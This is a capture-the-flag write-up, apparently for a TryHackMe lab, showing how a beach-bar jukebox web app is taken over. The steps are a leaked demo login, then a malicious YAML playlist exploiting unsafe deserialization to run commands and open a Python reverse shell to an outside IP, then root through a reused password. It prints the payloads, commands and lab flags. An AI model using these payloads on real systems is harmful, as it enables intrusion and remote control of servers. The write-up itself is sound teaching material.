A beach-bar "jukebox" web app. A demo DJ login left enabled gets us in; the playlist
Import feeds attacker YAML straight into an unsafe loader
(!!python/object/apply:subprocess.Popen), which is remote code execution as the
web user. A reused staff password (su) then gives root.
At the Beach Bar, even shell access is complimentary. The jukebox takes requests. Any kind.
Welcome back to the Byte Lotus - this time the sand is warm, the deck lights are coming up, and the beach bar's jukebox takes requests from anyone with a phone. You spend the evening as a guest at the rail who simply notices things: a DJ who never logs out, a song queue that accepts a little more than song titles, a service down the boardwalk quietly announcing "something".
The beachside guest-experience build shipped on a deadline, and the night-shift developer wired the jukebox straight into the floor with the trimmings still attached.
Today's itinerary: Find the user flag. Find the root flag.
None. Source (app.py, jukeboxd.py, playlist.yml) was read off the box after the foothold.
$ nmap -p- -T5 -sV 10.112.155.206
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
80/tcp open http Gunicorn
Read the page source before touching the login.
$ # HTML comment on port 80:
<!--
staff note: the demo DJ login is still enabled for the soft opening.
dj / dj -- swap this before the season starts (ticket BAR-7)
-->
Conclusion: log in as dj / dj - which unlocks playlist Export/Import.
Export hands back a playlist.yml; Import loads YAML we supply. If it uses
yaml.load (not safe_load), YAML tags instantiate arbitrary Python
objects - classic
Python YAML deserialization.
$ # probe: run a process via the loader
!!python/object/apply:subprocess.Popen
- ["/bin/cat","/etc/passwd"]
Result: <Popen: returncode: None args: ['/bin/cat', '/etc/passwd']> # it executes
Conclusion: arbitrary command execution as the web user. Turn it into a reverse shell - and it grabs the user flag.
$ # revshell.cmd - a YAML payload spawning a Python reverse shell
!!python/object/apply:subprocess.Popen
- - python3
- -c
- import socket,subprocess,os;s=socket.socket();s.connect(("192.168.128.17",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])
$ ncat -l -p 4444 &
$ curl -s -b 'session=eyJ1c2VyIjoiZGoifQ.amzr9w.mFrjoQoFqXzQSZiSGjyW3SuVWyE' \
-F 'playlist=<revshell.cmd' http://10.113.180.98/import
# (shell as the web user) -> user flag: THM{y4ml_pl4yl1st_pwns_th3_b34ch}
USER_FLAG = THM{y4ml_pl4yl1st_pwns_th3_b34ch}
Conclusion: foothold as the web user. Now escalate.
A staff password recovered on the box is reused for the root account.
$ su
Password: SunsetSpritz2024!
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
THM{cr3d3nt14l_r3us3_4t_th3_b34ch_b4r}
ROOT_FLAG = THM{cr3d3nt14l_r3us3_4t_th3_b34ch_b4r}
Conclusion: root via password reuse - the whole box is named after its two lessons: a YAML playlist that pwns the bar, and credential reuse.
1. log in dj/dj (leaked in an HTML comment)
2. Import a YAML playlist with !!python/object/apply:subprocess.Popen -> RCE as web user (user flag)
3. reverse shell, then: su (password SunsetSpritz2024!, reused) -> root (root flag)
$ curl -s -b 'session=eyJ1c2VyIjoiZGoifQ...' -F 'playlist=<revshell.cmd' http://TARGET/import # revshell -> user flag
# su # SunsetSpritz2024! -> root -> cat /root/root.txt
| # | Stage | Mechanism |
|---|---|---|
| 1 | Access | Demo login dj/dj leaked in an HTML comment unlocks playlist Import. |
| 2 | RCE (user) | Import deserializes YAML unsafely (!!python/object/apply:subprocess.Popen) -> reverse shell -> THM{y4ml_pl4yl1st_pwns_th3_b34ch}. |
| 3 | Root | A reused staff password (SunsetSpritz2024!) via su -> root -> THM{cr3d3nt14l_r3us3_4t_th3_b34ch_b4r}. |